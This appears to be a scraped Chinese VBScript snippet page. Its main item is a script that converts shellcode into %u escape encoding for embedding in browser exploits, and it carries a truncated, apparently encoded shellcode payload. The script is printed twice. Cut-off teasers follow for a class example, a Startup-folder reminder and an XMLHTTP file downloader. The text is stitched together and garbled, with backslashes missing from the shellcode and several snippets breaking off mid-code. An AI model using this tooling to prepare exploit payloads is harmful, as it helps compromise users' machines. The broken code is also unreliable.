vbs shellcode转换escape加密
'code by NetPatch
code="x29xc9x83xe9xa1xd9xeexd9x74x24xf4x5bx81x73x13x92x06x5bx18x83xebxfcxe2xf4x79x16x01x52xa1xcfx3dxa1xaex07xdbx2cx98x9fxb9xe2x79x03xb3xf3x6dxf9xa4x68xdex9fxc2x81x51xfbx63xb1x0bx9fxc2x0ax4bx93x49xf1x17x32x49xc1x03x14x1ax0ax78xa3…………………………"
function replaceregex(str)
set regex=new regExp
regex.pattern="\x(..)\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",8,true)
fileS.writeline replaceregex(code)
files.close
set fso=nothing
code="x29xc9x83xe9xa1xd9xeexd9x74x24xf4x5bx81x73x13x92x06x5bx18x83xebxfcxe2xf4x79x16x01x52xa1xcfx3dxa1xaex07xdbx2cx98x9fxb9xe2x79x03xb3xf3x6dxf9xa4x68xdex9fxc2x81x51xfbx63xb1x0bx9fxc2x0ax4bx93x49xf1x17x32x49xc1x03x14x1ax0ax78xa3…………………………"
function replaceregex(str)
set regex=new regExp
regex.pattern="\x(..)\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",8,true)
fileS.writeline replaceregex(code)
files.close
set fso=nothing
一个最简单的vbs类实例代码
classCFoosubPrintHello()response.Write"HelloWorld!"endsubendclassdimobjsetobj=newCFoocallobj.PrintHellosetobj=nothing
实用vbs提醒小程序
使用方法：1.将下面的代码保存为：Ring.vbs（文件名可自定）2.将Ring.vbs移动到程序启动组，这样可以随WINDOWS自动启动了（位置是：开始--程序--启动，XP
使用vbs下载文件的代码加强版
说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码：iLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))SetxPost=createObject("Microsof
